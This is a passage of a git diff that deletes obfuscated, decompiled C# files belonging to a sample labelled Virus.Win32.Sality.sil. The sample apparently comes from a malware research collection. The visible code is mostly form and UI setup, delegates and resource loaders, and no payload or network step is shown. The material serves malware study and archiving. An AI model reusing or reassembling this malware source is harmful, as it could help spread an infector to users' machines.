- (Control) this.\u0001 - }); - string str = \u0004.\u0001(3419); - \u009A\u0003.\u007E\u009C\u0002((object) this.\u0001, (Control) this, str); - \u009A\u0003.\u007E\u009C\u0002((object) this.\u0001, (Control) this.\u0001, str); - \u009A\u0003.\u007E\u009C\u0002((object) this.\u0001, (Control) this.\u0001, str); - \u000E\u0003.\u000E\u0002((object) this, true); - } - - static \u0004() => \u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0005.cs deleted file mode 100644 index 3a3f75d0..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0005.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0005 -{ - internal enum \u0005 - { - \u0001, - \u0002, - \u0003, - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0006.cs deleted file mode 100644 index a8ea624a..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0006.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0005; -using System; -using System.Drawing; -using System.IO; -using System.Runtime.InteropServices; - -namespace \u0005 -{ - internal sealed class \u0006 - { - [NonSerialized] - internal static \u0002 \u0001; - - public static Bitmap \u0003([In] string obj0) - { - try - { - Stream stream = \u001F\u0004.\u007E\u001C\u0006((object) \u0003\u0003.\u0082\u0006(), \u0091\u0005.\u0096\u0003(\u0006.\u0001(3782), obj0, \u0006.\u0001(3843))); - return stream == null ? (Bitmap) null : new Bitmap(stream); - } - catch - { - return (Bitmap) null; - } - } - - public static Icon \u0003([In] string obj0) - { - try - { - Stream stream = \u001F\u0004.\u007E\u001C\u0006((object) \u0003\u0003.\u0082\u0006(), \u0091\u0005.\u0096\u0003(\u0006.\u0001(3782), obj0, \u0006.\u0001(3852))); - return stream == null ? (Icon) null : new Icon(stream); - } - catch - { - return (Icon) null; - } - } - - static \u0006() => \u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0003.cs deleted file mode 100644 index e53f0037..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate ParameterInfo[] \u0005\u0003([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0004.cs deleted file mode 100644 index c7bcbc81..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate Stream \u0005\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0005.cs deleted file mode 100644 index 39d0097e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Configuration; -using System.Runtime.InteropServices; - -internal delegate SettingsBase \u0005\u0005([In] SettingsBase obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0006.cs deleted file mode 100644 index d08369d3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0006.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0005\u0006([In] Array obj0, [In] Array obj1, [In] int obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/Token200012F.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/Token200012F.cs deleted file mode 100644 index 2571bc31..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/Token200012F.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token200012F -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0006 -{ - internal class Token200012F : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0001.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0001.cs deleted file mode 100644 index f1a64153..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0001.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0006; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0006 -{ - [CompilerGenerated] - internal sealed class \u0001 - { - internal static \u0001.\u0001 \u0001; - internal static \u0001.\u0002 \u0001; - - [StructLayout(LayoutKind.Explicit, Size = 124, Pack = 1)] - private struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0002 - { - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0002.cs deleted file mode 100644 index ac8b3c8d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0002.cs +++ /dev/null @@ -1,377 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0003; -using \u0004; -using \u0005; -using \u0006; -using System; -using System.ComponentModel; -using System.Drawing; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -namespace \u0006 -{ - internal sealed class \u0002 : Form - { - [NonSerialized] - internal static \u0002 \u0001; - private \u0003.\u0006 \u0001; - private \u0002 \u0001; - private Thread \u0001; - private CheckBox \u0001 = new CheckBox(); - private Label \u0001 = new Label(); - private Button \u0001 = new Button(); - private Button \u0002 = new Button(); - private Label \u0002 = new Label(); - private \u0003.\u0003 \u0001 = new \u0003.\u0003(); - private Panel \u0001 = new Panel(); - private Panel \u0002 = new Panel(); - private Button \u0003 = new Button(); - private \u0003.\u0004 \u0001 = new \u0003.\u0004(); - private \u0005.\u0001 \u0001 = new \u0005.\u0001(\u0002.\u0001(4334)); - private \u0005.\u0001 \u0002 = new \u0005.\u0001(\u0002.\u0001(4371)); - private \u0005.\u0001 \u0003 = new \u0005.\u0001(\u0002.\u0001(4400)); - private \u0005.\u0001 \u0004 = new \u0005.\u0001(\u0002.\u0001(4429)); - private Button \u0004 = new Button(); - private Button \u0005 = new Button(); - private \u0004.\u0001 \u0001 = new \u0004.\u0001(string.Format(\u0002.\u0001(4482), (object) \u0002.\u0001(4304))); - private \u0004.\u0001 \u0002 = new \u0004.\u0001(string.Format(\u0002.\u0001(4571), (object) \u0002.\u0001(4304), (object) \u0002.\u0001(4003))); - private \u0005.\u0004 \u0001 = new \u0005.\u0004(); - private Button \u0006 = new Button(); - - private void \u0003() - { - \u0087\u0005.\u007E\u0012\u0002((object) this.\u0001); - \u0087\u0005.\u007E\u0012\u0002((object) this.\u0002); - \u0087\u0005.\u0012\u0002((object) this); - this.\u0001.\u0003(\u0005.\u0005.\u0002); - this.\u0002.\u0003(\u0005.\u0005.\u0002); - \u0098\u0005.\u007E\u0081((object) this.\u0001, AnchorStyles.Bottom | AnchorStyles.Left); - \u0095\u0003.\u007E\u0016\u0002((object) this.\u0001, FlatStyle.System); - \u0098\u0002.\u007E\u0092((object) this.\u0001, new Point(22, 98)); - \u009C\u0002.\u007E\u0095((object) this.\u0001, new Size(226, 16)); - \u0004\u0004.\u007E\u0096((object) this.\u0001, 13); - \u0096\u0004.\u007E\u0099((object) this.\u0001, \u0002.\u0001(3864)); - \u001F\u0005.\u007E\u001A\u0002((object) this.\u0001, new EventHandler(this.\u0007)); - \u0098\u0005.\u007E\u0081((object) this.\u0001, AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right); - \u0095\u0003.\u007E\u008E\u0002((object) this.\u0001, FlatStyle.System); - \u000F\u0004.\u007E\u008C((object) this.\u0001, new Font(\u0002.\u0001(3925), 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0)); - \u0098\u0002.\u007E\u0092((object) this.\u0001, new Point(20, 124)); - \u009C\u0002.\u007E\u0095((object) this.\u0001, new Size(381, 16)); - \u0096\u0004.\u007E\u0099((object) this.\u0001, \u0086\u0005.\u0092\u0003(\u0002.\u0001(3954), (object) \u0002.\u0001(4003))); - \u0098\u0005.\u007E\u0081((object) this.\u0001, AnchorStyles.Bottom | AnchorStyles.Right); - \u0095\u0003.\u007E\u0016\u0002((object) this.\u0001, FlatStyle.System); - \u009C\u0002.\u007E\u0095((object) this.\u0001, new Size(75, 24)); - \u0098\u0002.\u007E\u0092((object) this.\u0001, new Point(400 - \u008A\u0005.\u007E\u009C((object) this.\u0001), 205)); - \u0004\u0004.\u007E\u0096((object) this.\u0001, 4); - \u0096\u0004.\u007E\u0099((object) this.\u0001, \u0002.\u0001(4016)); - \u001F\u0005.\u007E\u009D((object) this.\u0001, new EventHandler(this.\u0004)); - \u0098\u0005.\u007E\u0081((object) this.\u0002, AnchorStyles.Bottom | AnchorStyles.Right); - \u0095\u0003.\u007E\u0016\u0002((object) this.\u0002, FlatStyle.System); - \u009C\u0002.\u007E\u0095((object) this.\u0002, new Size(105, 24)); - \u0098\u0002.\u007E\u0092((object) this.\u0002, new Point(\u008A\u0005.\u007E\u0090((object) this.\u0001) - \u008A\u0005.\u007E\u009C((object) this.\u0002) - 6, 205)); - \u0004\u0004.\u007E\u0096((object) this.\u0002, 3); - \u0096\u0004.\u007E\u0099((object) this.\u0002, \u0002.\u0001(4033)); - \u001F\u0005.\u007E\u009D((object) this.\u0002, new EventHandler(this.\u0003)); - \u0098\u0005.\u007E\u0081((object) this.\u0006, AnchorStyles.Bottom | AnchorStyles.Right); - \u0095\u0003.\u007E\u0016\u0002((object) this.\u0006, FlatStyle.System); - \u009C\u0002.\u007E\u0095((object) this.\u0006, new Size(64, 24)); - \u0098\u0002.\u007E\u0092((object) this.\u0006, new Point(\u008A\u0005.\u007E\u0090((object) this.\u0002) - \u008A\u0005.\u007E\u009C((object) this.\u0006) - 6, 205)); - \u0004\u0004.\u007E\u0096((object) this.\u0006, 14); - \u0096\u0004.\u007E\u0099((object) this.\u0006, \u0002.\u0001(4058)); - \u000E\u0003.\u007E\u009B((object) this.\u0006, false); - \u001F\u0005.\u007E\u009D((object) this.\u0006, new EventHandler(this.\u0010)); - \u0098\u0005.\u007E\u0081((object) this.\u0002, AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right); - \u0095\u0003.\u007E\u008E\u0002((object) this.\u0002, FlatStyle.System); - \u0098\u0002.\u007E\u0092((object) this.\u0002, new Point(20, 140)); - \u009C\u0002.\u007E\u0095((object) this.\u0002, new Size(381, 55)); - \u0096\u0004.\u007E\u0099((object) this.\u0002, \u0086\u0005.\u0092\u0003(\u0002.\u0001(4067), (object) \u0002.\u0001(4003))); - \u0098\u0005.\u007E\u0081((object) this.\u0001, AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right); - \u0098\u0002.\u007E\u0092((object) this.\u0001, new Point(20, 69)); - \u009C\u0002.\u007E\u0095((object) this.\u0001, new Size(381, 13)); - \u0098\u0005.\u007E\u0081((object) this.\u0003, AnchorStyles.Bottom | AnchorStyles.Right); - \u0095\u0003.\u007E\u0016\u0002((object) this.\u0003, FlatStyle.System); - \u009C\u0002.\u007E\u0095((object) this.\u0003, new Size(80, 24)); - \u0098\u0002.\u007E\u0092((object) this.\u0003, new Point(400 - \u008A\u0005.\u007E\u009C((object) this.\u0003), 205)); - \u0004\u0004.\u007E\u0096((object) this.\u0003, 7); - \u0096\u0004.\u007E\u0099((object) this.\u0003, \u0002.\u0001(4277)); - \u001F\u0005.\u007E\u009D((object) this.\u0003, new EventHandler(this.\u0005)); - \u0098\u0005.\u007E\u0081((object) this.\u0004, AnchorStyles.Bottom | AnchorStyles.Right); - \u000E\u0003.\u007E\u008A((object) this.\u0004, false); - \u0095\u0003.\u007E\u0016\u0002((object) this.\u0004, FlatStyle.System); - \u009C\u0002.\u007E\u0095((object) this.\u0004, new Size(80, 24)); - \u0098\u0002.\u007E\u0092((object) this.\u0004, new Point(\u008A\u0005.\u007E\u0090((object) this.\u0003) - \u008A\u0005.\u007E\u009C((object) this.\u0004) - 6, 205)); - \u0004\u0004.\u007E\u0096((object) this.\u0004, 6); - \u0096\u0004.\u007E\u0099((object) this.\u0004, \u0002.\u0001(4290)); - \u001F\u0005.\u007E\u009D((object) this.\u0004, new EventHandler(this.\u0006)); - \u0098\u0005.\u007E\u0081((object) this.\u0005, AnchorStyles.Bottom | AnchorStyles.Right); - \u0095\u0003.\u007E\u0016\u0002((object) this.\u0005, FlatStyle.System); - \u0098\u0002.\u007E\u0092((object) this.\u0005, \u0089\u0005.\u007E\u0091((object) this.\u0004)); - \u009C\u0002.\u007E\u0095((object) this.\u0005, \u0002\u0004.\u007E\u0094((object) this.\u0004)); - \u0004\u0004.\u007E\u0096((object) this.\u0005, 5); - \u0096\u0004.\u007E\u0099((object) this.\u0005, \u0002.\u0001(4295)); - \u000E\u0003.\u007E\u009B((object) this.\u0005, false); - \u001F\u0005.\u007E\u009D((object) this.\u0005, new EventHandler(this.\u000F)); - \u0098\u0002.\u007E\u0092((object) this.\u0001, new Point(87, 146)); - \u000E\u0003.\u007E\u009B((object) this.\u0001, false); - \u0082\u0004.\u007E\u0010\u0002((object) this.\u0001, 24, 72, 368, 16); - \u0082\u0004.\u007E\u0010\u0002((object) this.\u0002, 24, 96, 368, 16); - \u0082\u0004.\u007E\u0010\u0002((object) this.\u0003, 24, 120, 368, 16); - \u0082\u0004.\u007E\u0010\u0002((object) this.\u0004, 24, 144, 368, 16); - \u0098\u0005.\u007E\u0081((object) this.\u0001, AnchorStyles.Bottom | AnchorStyles.Left); - \u0082\u0004.\u007E\u0010\u0002((object) this.\u0001, 6, 450, 120, 32); - \u0019\u0003.\u007E\u0014\u0002((object) \u0093\u0003.\u007E\u0087((object) this.\u0001), new Control[8] - { - (Control) this.\u0006, - (Control) this.\u0001, - (Control) this.\u0001, - (Control) this.\u0001, - (Control) this.\u0002, - (Control) this.\u0002, - (Control) this.\u0001, - (Control) this.\u0001 - }); - \u009C\u0002.\u007E\u0095((object) this.\u0001, new Size(413, 240)); - \u0004\u0004.\u007E\u0096((object) this.\u0001, 0); - \u0019\u0003.\u007E\u0014\u0002((object) \u0093\u0003.\u007E\u0087((object) this.\u0002), new Control[9] - { - (Control) this.\u0003, - (Control) this.\u0004, - (Control) this.\u0005, - (Control) this.\u0001, - (Control) this.\u0002, - (Control) this.\u0001, - (Control) this.\u0002, - (Control) this.\u0003, - (Control) this.\u0004 - }); - \u009C\u0002.\u007E\u0095((object) this.\u0002, new Size(413, 240)); - \u0004\u0004.\u007E\u0096((object) this.\u0002, 2); - \u000E\u0003.\u007E\u009B((object) this.\u0002, false); - \u009C\u0002.\u007E\u001E\u0002((object) this, new Size(5, 13)); - \u009C\u0002.\u0080\u0002((object) this, new Size(434, 488)); - \u000E\u0003.\u0081\u0002((object) this, false); - \u0019\u0003.\u007E\u0014\u0002((object) \u0093\u0003.\u0087((object) this), new Control[3] - { - (Control) this.\u0001, - (Control) this.\u0001, - (Control) this.\u0002 - }); - \u0083\u0003.\u001F\u0002((object) this, FormBorderStyle.FixedSingle); - \u000E\u0003.\u0086\u0002((object) this, false); - \u000E\u0003.\u0084\u0002((object) this, false); - \u000E\u0003.\u0083\u0002((object) this, false); - \u0012\u0003.\u0088\u0002((object) this, FormStartPosition.CenterScreen); - \u0096\u0004.\u007E\u0099((object) this, \u0002.\u0001(4304)); - if (\u008A\u0005.\u007E\u0084\u0003((object) \u0003\u0006.\u007E\u0098((object) this)) == 0) - \u0096\u0004.\u007E\u0099((object) this, \u0002.\u0001(4313)); - try - { - \u000E\u0003.\u0089\u0002((object) this, true); - } - catch - { - } - \u000E\u0003.\u007E\u000E\u0002((object) this.\u0001, false); - \u000E\u0003.\u007E\u000E\u0002((object) this.\u0002, false); - \u000E\u0003.\u000E\u0002((object) this, false); - \u0087\u0005.\u007E\u009E((object) this.\u0005); - \u009C\u0002.\u0087\u0002((object) this, new Size(419, 264)); - \u0007\u0003.\u007E\u0089((object) this.\u0002, DockStyle.Fill); - \u0007\u0003.\u007E\u0089((object) this.\u0001, DockStyle.Fill); - } - - private void \u0003([In] object obj0, [In] EventArgs obj1) - { - try - { - \u000E\u0003.\u007E\u009B((object) this.\u0001, false); - \u000E\u0003.\u007E\u009B((object) this.\u0002, true); - \u000E\u0003.\u007E\u009B((object) this.\u0001, true); - if (this.\u0001 == null) - return; - this.\u0003(new ThreadStart(this.\u0004)); - } - catch - { - } - } - - private void \u0003([In] ThreadStart obj0) - { - this.\u0001 = new Thread(obj0); - \u0087\u0005.\u007E\u0094\u0005((object) this.\u0001); - } - - private void \u0004([In] object obj0, [In] EventArgs obj1) => \u0087\u0005.\u008A\u0002((object) this); - - private void \u0005([In] object obj0, [In] EventArgs obj1) - { - try - { - if (this.\u0001 != null) - \u0087\u0005.\u007E\u0095\u0005((object) this.\u0001); - } - catch - { - } - \u0087\u0005.\u008A\u0002((object) this); - } - - private void \u0006([In] object obj0, [In] EventArgs obj1) => \u0087\u0005.\u008A\u0002((object) this); - - private void \u0007([In] object obj0, [In] EventArgs obj1) => this.\u0001.\u0003(\u009E\u0005.\u007E\u0019\u0002((object) this.\u0001)); - - private void \u0003([In] object obj0, [In] \u0004.\u0003 obj1) - { - try - { - // ISSUE: method pointer - object obj = \u0090\u0002.\u0003\u0002((object) this, (Delegate) new \u0002((object) this, __methodptr(\u0004)), new object[2] - { - obj0, - (object) obj1 - }); - } - catch (InvalidOperationException ex) - { - } - } - - private void \u0008([In] object obj0, [In] EventArgs obj1) - { - try - { - // ISSUE: method pointer - object obj = \u0090\u0002.\u0003\u0002((object) this, (Delegate) new EventHandler((object) this, __methodptr(\u000E)), new object[2] - { - obj0, - (object) obj1 - }); - } - catch (InvalidOperationException ex) - { - } - } - - protected override void OnClosing([In] CancelEventArgs obj0) - { - if (this.\u0001 != null && \u009E\u0005.\u007E\u0096\u0005((object) this.\u0001)) - \u0087\u0005.\u007E\u0095\u0005((object) this.\u0001); - \u0011\u0005.\u008B\u0002((object) this, obj0); - } - - private void \u0004([In] object obj0, [In] \u0004.\u0003 obj1) - { - switch (obj1.\u0003()) - { - case \u0002.\u0001: - if (obj1.\u0003()) - { - this.\u0001.\u0003(obj1.\u0003()); - \u000E\u0003.\u007E\u009B((object) this.\u0005, true); - int num = \u009E\u0005.\u007E\u0002\u0002((object) this.\u0005) ? 1 : 0; - break; - } - this.\u0001.\u0004(); - break; - case \u0002.\u0002: - if (obj1.\u0003()) - { - this.\u0002.\u0003(obj1.\u0003()); - \u000E\u0003.\u007E\u009B((object) this.\u0005, true); - int num = \u009E\u0005.\u007E\u0002\u0002((object) this.\u0005) ? 1 : 0; - break; - } - this.\u0001.\u0005(); - this.\u0002.\u0004(); - break; - case \u0002.\u0003: - if (obj1.\u0003()) - { - \u000E\u0003.\u007E\u009B((object) this.\u0001, false); - this.\u0003.\u0003(obj1.\u0003()); - \u000E\u0003.\u007E\u009B((object) this.\u0005, true); - int num = \u009E\u0005.\u007E\u0002\u0002((object) this.\u0005) ? 1 : 0; - break; - } - this.\u0002.\u0005(); - this.\u0003.\u0004(); - \u000E\u0003.\u007E\u009B((object) this.\u0001, true); - break; - case \u0002.\u0004: - \u000E\u0003.\u007E\u009B((object) this.\u0001, false); - this.\u0003.\u0005(); - this.\u0004.\u0005(); - \u000E\u0003.\u007E\u008A((object) this.\u0004, true); - int num1 = \u009E\u0005.\u007E\u0002\u0002((object) this.\u0004) ? 1 : 0; - \u000E\u0003.\u007E\u008A((object) this.\u0003, false); - break; - } - } - - private void \u000E([In] object obj0, [In] EventArgs obj1) => \u0087\u0005.\u008A\u0002((object) this); - - private void \u000F([In] object obj0, [In] EventArgs obj1) - { - \u000E\u0003.\u007E\u009B((object) this.\u0005, false); - this.\u0001.\u0003(); - this.\u0002.\u0003(); - this.\u0003.\u0003(); - if (this.\u0001 == null) - return; - this.\u0003(new ThreadStart(this.\u0004)); - } - - private void \u0004() => this.\u0001.\u0007(); - - private void \u0010([In] object obj0, [In] EventArgs obj1) - { - if (this.\u0001 == null) - return; - this.\u0003(new ThreadStart(this.\u0001.\u0006)); - } - - public \u0002([In] \u0003.\u0006 obj0, [In] \u0002 obj1) - { - this.\u0003(); - int height = this.Height; - this.\u0001 = obj1; - this.\u0001 = obj0; - this.\u0001.Text = obj1.\u0003().Message; - int num1 = height + (\u008A\u0005.\u007E\u008E((object) this.\u0001) - \u008A\u0005.\u008D((object) this)); - if (!obj1.\u0005()) - { - \u000E\u0003.\u007E\u009B((object) this.\u0001, false); - num1 -= \u008A\u0005.\u007E\u008E((object) this.\u0001); - } - if (num1 > \u008A\u0005.\u008E((object) this)) - \u0004\u0004.\u008F((object) this, num1); - if (obj1.\u0003()) - { - obj0.\u0003(new EventHandler(this.\u0008)); - \u000E\u0003.\u007E\u009B((object) this.\u0006, true); - if (\u008A\u0005.\u007E\u0090((object) this.\u0006) < \u008A\u0005.\u007E\u0093((object) this.\u0001)) - \u000E\u0003.\u007E\u009B((object) this.\u0001, false); - } - if (!obj1.\u0004()) - { - \u000E\u0003.\u007E\u008A((object) this.\u0002, false); - if (\u009E\u0005.\u007E\u0084((object) this.\u0001)) - { - int num2 = \u009E\u0005.\u007E\u0002\u0002((object) this.\u0001) ? 1 : 0; - } - } - obj0.\u0003(new \u0002(this.\u0003)); - } - - static \u0002() => \u0001.\u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0003.cs deleted file mode 100644 index e71cf3a6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0003.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0005; -using \u0006; -using System; -using System.Reflection; 